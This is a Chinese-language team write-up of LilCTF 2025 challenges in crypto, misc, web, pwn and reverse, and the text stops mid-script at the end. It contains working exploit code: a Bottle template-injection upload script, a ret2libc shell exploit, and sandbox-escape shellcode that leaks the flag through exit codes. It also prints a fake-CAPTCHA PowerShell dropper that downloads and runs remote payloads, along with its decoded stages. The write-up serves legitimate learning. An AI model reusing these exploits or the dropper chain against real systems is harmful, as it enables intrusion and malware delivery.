LilCTF2025 WriteUp
LilCTF 2025 WP
Team: Im_@tEa_P0t
crypto
ez_math
exp:
Sage Cell运行:
from sage.all import *
p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
#GF(p):为矩阵创造有限域,保障矩阵可逆运算
C = Matrix(GF(p), [
[7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645, 7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],
[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808, 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]
])
#C特征值
eigenvalues = C.eigenvalues()
lambda1, lambda2 = eigenvalues
print(f"Lambda1: {lambda1}")
print(f"Lambda2: {lambda2}")
lambda1 = 461081882199191304136043558055592717274072444511548267131743
lambda2 = 310431440615324582056084165589022472378402725080813836002613
hex1 = hex(lambda1)[2:]
hex2 = hex(lambda2)[2:]
bytes1 = bytes.fromhex(hex1)
bytes2 = bytes.fromhex(hex2)
flag=bytes1 + bytes2
print(flag)
mid_math
exp:
Sage Cell 运行得到key
p = 14668080038311483271
P = GF(p)
C_list = [
[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212],
[4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914],
[12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670],
[6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413],
[1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]
]
D_list = [
[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044],
[10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372],
[9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427],
[4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551],
[3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]
]
C = matrix(P, C_list)
D = matrix(P, D_list)
eigen_C = C.eigenvalues()
eigen_D = D.eigenvalues()
# 筛选非零特征值,嘻嘻实际上e是0
c_list = [c for c in eigen_C if c != 0]
d_list = [d for d in eigen_D if d != 0]
# 求解离散对数并验证
possible_keys = []
for c in c_list:
for d in d_list:
try:
# 求解l^k = m的离散对数k
k = discrete_log(d, c)
# 验证是否满足C^k = D
if C^k == D:
possible_keys.append(k)
print(f"找到密钥: {k}")
except:
continue
第二步AES解密
from Crypto.Cipher import AES
from Crypto.Util.Padding import *
from Crypto.Util.number import *
key = 5273966641785501202
msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
key_bytes = long_to_bytes(key)
key_padded = pad(key_bytes, 16)
aes = AES.new(key_padded, AES.MODE_ECB)
flag = unpad(aes.decrypt(msg), 64)
print(flag.decode())
misc
是谁没有阅读参赛须知?
点进去网站之后开f12查找即可
PNG Master
题目提示LSB隐写,直接用zsteg查
看到两个base64编码,拿到flag的一二部分
然后还发现有一个zlib,提取出来用python脚本解压得到一个压缩包
压缩包里面有两个文件,打开hint.txt查看
是零宽位符隐写,解一下
按照这个上面的说,将secret.bin与secret进行xor
import os
def xor_with_filename(data: bytes, key: bytes) -> bytes:
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
filename = "secret.bin"
with open(filename, "rb") as f:
data = f.read()
# 取文件名(不含扩展名)
basename = os.path.splitext(os.path.basename(filename))[0]
key = basename.encode()
# XOR
decoded = xor_with_filename(data, key)
# 保存结果
outname = "decoded_out"
with open(outname, "wb") as f:
f.write(decoded)
print(f"[+] 已保存到 {outname}")
print("前100字节预览:", decoded[:100])
得到base64解开得第三部分flag
得到flag
LILCTF{Y0u_4r3_Mas7er_in_PNG}
提前放出附件
首先拿到一个压缩包,有密码,不是伪加密
于是分析压缩包结构
发现 ZipCrypto Store,首先想到明文攻击
(其实很没头绪,卡了半天)
突然想到文件这么小里面一定是明文大概率不是base64
所以制造一个包含LILCTF{
的flag.txt
的明文文件进行攻击
生成制作脚本
import tarfile
import io
# 1. 猜测在 tar 包里的文件名
FILENAME_IN_TAR = "flag.txt"
# 2. 您已知的、文件开头的内容
KNOWN_CONTENT = b"LILCTF{"
# 3. 生成的用于攻击的明文文件名
OUTPUT_FILENAME = "plaintext.bin"
# 4. 文件在tar包中的虚拟大小 (这个值现在可以设置得大一些,没关系)
FILE_SIZE = 2048 # 例如设置为和你的密文文件一样大
# 5. 【重要】我们实际需要写入文件的字节数,用于攻击
# 这个值必须小于你的密文大小(2048字节),64字节已足够
BYTES_FOR_ATTACK = 64
def create_tar_in_memory():
"""
在内存中创建一个虚拟的tar文件流,并返回其二进制内容。
"""
in_memory_tar = io.BytesIO()
with tarfile.open(fileobj=in_memory_tar, mode='w') as tar:
tarinfo = tarfile.TarInfo(name=FILENAME_IN_TAR)
tarinfo.size = FILE_SIZE
file_content = KNOWN_CONTENT.ljust(FILE_SIZE, b'\x00')
tar.addfile(tarinfo, io.BytesIO(file_content))
in_memory_tar.seek(0)
return in_memory_tar.read()
if __name__ == "__main__":
print("正在生成用于已知明文攻击的精确 tar 文件头...")
# 获取内存中完整的虚拟tar文件数据
full_tar_data = create_tar_in_memory()
# 【修正点】我们只截取开头的一小部分用于攻击
plaintext_data_for_attack = full_tar_data[:BYTES_FOR_ATTACK]
with open(OUTPUT_FILENAME, "wb") as f:
f.write(plaintext_data_for_attack)
print(f"成功!已生成 '{OUTPUT_FILENAME}',大小为 {len(plaintext_data_for_attack)} 字节。")
使用bkcrack用这个制作好的文件进行明文攻击
得到密钥,进行解密
得到解密后的文件,打开就是flag
LILCTF{Z1pCRyp70_1s_n0t_5ecur3}
v我50(R)MB[赛后]
(赛中卡了好久啊,看题目还一直以为图片不在原位置)
访问网站后发现长度被限制了
去掉限制就可以了
得到flag
web
ez_bottle
题目后端用的是 Bottle 框架和 SimpleTemplate 模板,上传 ZIP 解压后访问 /view/<md5>/<filename>
,模板会直接执行 Python 代码。过滤 {}
、os
、open
、_
、<
、>
等关键字,flag 存在 /flag
起初想用 open('/flag').read()
或 os.popen('cat /flag')
读取文件,直接被黑名单拦截。模板支持 %
执行 Python 语句,{{expr}}
输出表达式,由于 {}
被封只能用 %
。思路改成利用 include()
包含文件,不用显式读文件。include()
查找路径由 TEMPLATE_PATH
控制,如果把它改为 /
,再 include('flag')
就能输出 /flag
内容。TEMPLATE_PATH
有下划线无法直接写,用 chr()
拼字符串再通过 setattr()
修改即可
最终生成的模板三行代码:
% import bottle
% setattr(bottle, chr(84)+chr(69)+chr(77)+chr(80)+chr(76)+chr(65)+chr(84)+chr(69)+chr(95)+chr(80)+chr(65)+chr(84)+chr(72), ['/'])
% include('f'+'lag')
第一行导入 bottle,第二行修改模板路径到根目录,第三行包含 flag 文件,全程绕过黑名单
import io
import zipfile
import requests
def build_archive() -> io.BytesIO:
template_code = (
"% import bottle\n"
"% setattr(bottle, "
"chr(84)+chr(69)+chr(77)+chr(80)+chr(76)+chr(65)+chr(84)+chr(69)"
"+chr(95)+"
"chr(80)+chr(65)+chr(84)+chr(72), ['/'])\n"
"% include('f'+'lag')\n"
)
memory_buffer = io.BytesIO()
with zipfile.ZipFile(memory_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
archive.writestr("data.tpl", template_code)
memory_buffer.seek(0)
return memory_buffer
def process_transfer(target_addr: str):
archive_data = build_archive()
transfer_files = {"file": ("data.zip", archive_data, "application/zip")}
print(f"[*] 正在向目标 {target_addr} 传输文件...")
try:
server_resp = requests.post(
target_addr,
files=transfer_files,
timeout=20,
headers={"User-Agent": "Mozilla/5.0"}
)
if server_resp.status_code != 200:
print(f"[!] 传输失败,状态码: {server_resp.status_code}")
print(f"[!] 服务器反馈: {server_resp.text[:300]}")
return
print("[+] 文件传输完成!")
if "/view/" in server_resp.text:
resource_path = server_resp.text.split("/view/")[1].split('"')[0]
base_url = target_addr.rsplit('/', 1)[0]
target_link = f"{base_url}/view/{resource_path}"
print(f"[*] 正在访问资源: {target_link}")
result_data = requests.get(
target_link,
timeout=20,
headers={"User-Agent": "Mozilla/5.0"}
)
print("\n[+] 操作结果:")
print("-" * 50)
print(result_data.text)
print("-" * 50)
else:
print(f"[!] 未找到资源路径,反馈内容: {server_resp.text[:300]}")
except Exception as problem:
print(f"[!] 操作出现问题: {str(problem)}")
def start_operation():
target_upload = "http://challenge.xinshi.fun:32588/upload"
process_transfer(target_upload)
print("[*] 全部操作结束")
if __name__ == "__main__":
start_operation()
漏洞原因是用户文件被直接当模板执行,可任意运行 Python 代码
pwn
checkin
一眼ret2libc
无canary,无pie,只有一次输入,构造rop链,泄露puts函数地址计算libc基地址,得到system地址和 ‘/bin/sh’ 字符串地址,然后在第一次输入的时候最终返回到main函数进行第二次输入getshell
返回地址位0x40117c
buf溢出0x78字节
所需的gadget
中间调试发现这里卡住,第二次输入加个ret进行栈对齐
将payload打过去,成功getshell
Exp
from pwn import *
context(log_level='debug')
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
# p = remote('challenge.xinshi.fun',43306)
p = process("./pwn")
# gdb.attach(p)
# pause()
shit = b'a' * 0x78
pop_rdi_ret = 0x401176
ret = 0x40101a
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pay = flat(
shit,
p64(pop_rdi_ret),
p64(puts_got),
p64(puts_plt),
p64(0x40117c)
)
p.sendafter(b'name?\n',pay)
leak = u64(p.recv()[:6].ljust(8,b'\x00'))
libc_base = leak - libc.sym['puts']
print(f"leak = {hex(leak)}")
print("libc_base:{}".format(hex(libc_base)))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("system_addr:{}".format(hex(system_addr)))
print("binsh_addr:{}".format(hex(binsh_addr)))
payload = flat(
shit,
p64(ret),
p64(pop_rdi_ret),
p64(binsh_addr),
p64(system_addr)
)
p.send(payload)
p.interactive()
The Truman Show
checksec先
保护全开
运行发现创建了一个文件夹并且放着假flag
丢ida分析代码
这里将文件描述符2分配给了根目录
创建文件夹设置为根目录,并放入假的flag
分配内存并读取0x23字节长度的用户输入,进行检查后设置沙箱并执行用户输入的内容
在虚拟机里用seccomp-tools查不到规则,只能分析函数了
搜索一下发现参数2147418112LL是SCMP_ACT_ALLOW,即允许
沙箱只允许5个系统调用,0是read,257是openat,60为exit
其余两个为161 chroot,83 mkdir
目标就是逃出程序创建的目录,读取到真正根目录下的flag,由于文件描述符分配在chroot指令前,所以2分配给的是真的根目录,通过它进行”越狱”
orw的条件不满足,要从其他方面入手
发现run.sh里有一行echo $? 代码,这行代码可以查看上一条命令的退出状态码,这个脚本应该会在远程连接到时执行,输出状态码
有思路了,可以把flag内容读到栈上,再遍历每一个字节当作exit()的状态码进行泄露,只需传入一个0x23字节内的shellcode即可
push 0x67616c66 # ‘flag’
mov ax, 0x101 # openat(2,flag,0)
mov dil, 2
mov rsi, rsp
cdq
syscall
mov edi, eax # read(3,rsp,0x40)
xor eax, eax
mov dl, 0x40
syscall
mov rdi, [rsp+0x0] # exit(rsp+0x0)
mov al, 60
syscall
转机器码传过去
成功泄露flag第一个字符,ascii转过来是L,然后修改mov rdi, [rsp+0x0] 中rsp的偏移,多跑几遍将flag尽数读出
Exp
from pwn import *
context(log_level='debug')
scode =("""
push 0x67616c66
mov ax, 0x101
mov dil, 2
mov rsi, rsp
cdq
syscall
mov edi, eax
xor eax, eax
mov dl, 0x40
syscall
mov rdi, [rsp+0x0]
mov al, 60
syscall
""")
mcode = asm(scode, arch='amd64')
assert len(mcode) <= 0x23, f"长度超过35字节: {len(mcode)}字节"
filtered = set([0x80, 0x81, 0x83] + list(range(0x38, 0x3c)))
for b in mcode:
assert b not in filtered, f"包含被过滤的字符: 0x{b:02x}"
# p = process('./chtest')
p = remote('challenge.xinshi.fun',31485)
p.recvuntil(b'time\n')
p.send(mcode)
result = p.recvall()
print("获取到的结果:")
print(result.decode())
p.close()
reverse
1’M no7 A rO6oT
网站提示人机验证,需要运行复制好的东西,开虚拟机运行试试
powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:31833/Coloringoutomic_Host.mp3 http://challenge.xinshi.fun:31833/Coloringoutomic_Host.mp3 # ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086
运行后,发现是会执行恶意程序
分析运行的代码可以知道运行了hta文件
首先到url地址去下载这个mp3,里面肯定有东西
使用文本格式打开,发现里面有脚本,提取一下
提取后删掉对window的操控代码得到脚本主体
修改eval变为console.log,把内容以日志形式输出
得到一段js代码
里面有一长串的数组,解密一下
const cmdArr = [713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720, 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717, 702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692, 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640, 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702, 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700, 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699, 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649, 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658, 649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700, 698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698, 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652, 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702, 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698, 658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700, 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699, 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699, 702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698, 658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658, 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702, 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703, 655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658, 698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698, 653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 703, 703, 701, 703, 653, 703, 703, 703, 703, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699, 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700, 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658, 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657, 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658, 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657, 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699, 700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655, 703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654, 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642, 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 652, 642];
const cmdStr = cmdArr.map(n => String.fromCharCode(n - 601)).join('');
console.log(cmdStr);
const axArr = [688,684,700,715,706,713,717,647,684,705,702,709,709];
const axStr = axArr.map(n => String.fromCharCode(n - 601)).join('');
console.log(axStr);
将得到的输出结果继续解密
这里应该是两两分割生成一个十六进制的文件,附带一个xor,按照这个逻辑生成解密脚本
hex_string = "a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6fffdf4ffffe3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7"
key = 204
decoded_chars = []
for i in range(0, len(hex_string), 2):
chunk = hex_string[i:i+2]
byte_value = int(chunk, 16)
decoded_byte = byte_value ^ key
decoded_chars.append(chr(decoded_byte))
decoded_script = "".join(decoded_chars)
print(decoded_script)
得到恶意脚本
iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:31833/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))";
发现又下载了bestudding.jpg,我们去看下这个文件
把调用字符串转换成输出字符串
$raw = Get-Content .\obf.ps1 -Raw
$fixed = $raw -replace '\|\s*\.\s*\$r', '| Write-Output'
$fixed = $fixed -replace '\bI(E|e)X\b', 'Write-Output'
$fixed = $fixed -replace '\bInvoke-Expression\b', 'Write-Output'
Set-Content -Path .\obf_fixed.ps1 -Value $fixed -Encoding UTF8
.\obf_fixed.ps1 > decoded.txt
Get-Content .\decoded.txt -Raw
得到解密文本
显而易见,这里是ASCII码, 继续生成解密脚本
import re
def decode_ps_char_obfuscation(obfuscated_code):
"""
解码形如 iex ([CHar]36+[CHar]68+...) 的 PowerShell 混淆代码。
参数:
obfuscated_code (str): 包含混淆代码的完整字符串。
返回:
str: 解码后的可读 PowerShell 脚本。
"""
print("--- 开始解码 ---")
# 步骤 1: 定义正则表达式,用于匹配并提取 [CHar]... 括号中的所有数字
# r'\[CHar\](\d+)' 的意思是:
# \[CHar\]: 匹配字面上的 "[CHar]"。方括号需要用反斜杠 \ 转义。
# (\d+) : 匹配一个或多个数字 (\d+),并将其作为一个捕获组 (括号)。
pattern = r'\[CHar\](\d+)'
# 使用 re.findall 查找所有匹配项,并返回所有捕获组(也就是所有数字)的列表
numbers = re.findall(pattern, obfuscated_code)
if not numbers:
print("未找到 [CHar] 格式的编码。请检查输入。")
return ""
print(f"成功提取到 {len(numbers)} 个字符编码。")
# 步骤 2: 将数字列表中的每个数字(它们现在是字符串)转换为整数,然后再转换为字符
# 这是一个列表推导式,高效地完成了转换。
# chr() 函数接收一个整数,返回其对应的字符。
decoded_chars = [chr(int(num)) for num in numbers]
# 步骤 3: 将所有解码后的字符拼接成一个完整的字符串
decoded_script = "".join(decoded_chars)
print("--- 解码完成 ---")
return decoded_script
# --- 使用示例 ---
# 1. 将您获得的完整混淆代码字符串粘贴到下面的三重引号之间
obfuscated_script = """
